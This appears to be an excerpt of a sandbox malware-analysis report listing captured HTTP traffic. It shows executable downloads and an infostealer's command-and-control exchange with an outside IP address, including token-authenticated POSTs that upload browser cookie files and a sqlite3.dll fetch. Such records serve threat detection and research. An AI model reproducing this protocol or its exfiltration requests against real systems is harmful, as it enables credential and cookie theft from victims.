00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 13:02:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 13:02:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 13:02:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 13:02:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.231.69.191Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /f190e2808a5419c3.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHDAFHDHCBFIDGCFIDGHost: 185.231.69.191Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 41 38 46 43 31 33 33 35 30 45 30 31 36 37 31 32 32 37 33 30 34 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 47 2d 2d 0d 0a Data Ascii: ------IEHDAFHDHCBFIDGCFIDGContent-Disposition: form-data; name="hwid"5A8FC13350E01671227304------IEHDAFHDHCBFIDGCFIDGContent-Disposition: form-data; name="build"LogsDiller------IEHDAFHDHCBFIDGCFIDG--
Source: global traffic	HTTP traffic detected: POST /f190e2808a5419c3.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGHDBAFIJJJJKJDHDHost: 185.231.69.191Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 2d 2d 0d 0a Data Ascii: ------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="message"browsers------BFIDGHDBAFIJJJJKJDHD--
Source: global traffic	HTTP traffic detected: POST /f190e2808a5419c3.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHDGDAAAAKFIDGHJDGHost: 185.231.69.191Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="message"plugins------IJDHDGDAAAAKFIDGHJDG--
Source: global traffic	HTTP traffic detected: POST /f190e2808a5419c3.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAKJKEHDBGHIDHIEHDBHost: 185.231.69.191Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 4b 4a 4b 45 48 44 42 47 48 49 44 48 49 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 4b 4a 4b 45 48 44 42 47 48 49 44 48 49 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 4b 4a 4b 45 48 44 42 47 48 49 44 48 49 45 48 44 42 2d 2d 0d 0a Data Ascii: ------IDAKJKEHDBGHIDHIEHDBContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------IDAKJKEHDBGHIDHIEHDBContent-Disposition: form-data; name="message"fplugins------IDAKJKEHDBGHIDHIEHDB--
Source: global traffic	HTTP traffic detected: POST /f190e2808a5419c3.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAKHost: 185.231.69.191Content-Length: 6359Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ec05bb5a9eb90166/sqlite3.dll HTTP/1.1Host: 185.231.69.191Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /f190e2808a5419c3.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKKFCBAKKFBGCBFHJDGHost: 185.231.69.191Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DBKKFCBAKKFBGCBFHJDG--
Source: global traffic	HTTP traffic detected: POST /f190e2808a5419c3.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKECBFCGIEGCBGCAECGCHost: 185.231.69.191Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 